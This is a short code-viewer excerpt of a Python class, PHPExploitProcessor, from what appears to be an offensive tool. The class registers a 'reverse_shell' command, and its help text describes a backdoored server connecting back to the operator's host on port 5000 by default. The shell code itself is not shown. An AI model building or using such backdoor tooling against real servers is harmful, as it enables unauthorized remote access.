(self, host: str, path: str, method: str, header: str)
| 24 | """ |
| 25 | class PHPExploitProcessor(ExploitProcessor): |
| 26 | def __init__(self, host: str, path: str, method: str, header: str): |
| 27 | super().__init__(host, path, method, header) |
| 28 | self.commands["reverse_shell"] = { |
| 29 | "method": self._Base__reverse_shell, |
| 30 | "description": "Start a reverse shell from the target machine.", |
| 31 | "usage": ("reverse_shell host [port]\n" |
| 32 | " host: hostname of your machine, to which the " |
| 33 | "backdoored server will connect to.\n" |
| 34 | " port: the port to communicate over, " |
| 35 | "defaults to 5000") |
| 36 | } |
| 37 | |
| 38 | |
| 39 | """ |
nothing calls this directly
no outgoing calls
no test coverage detected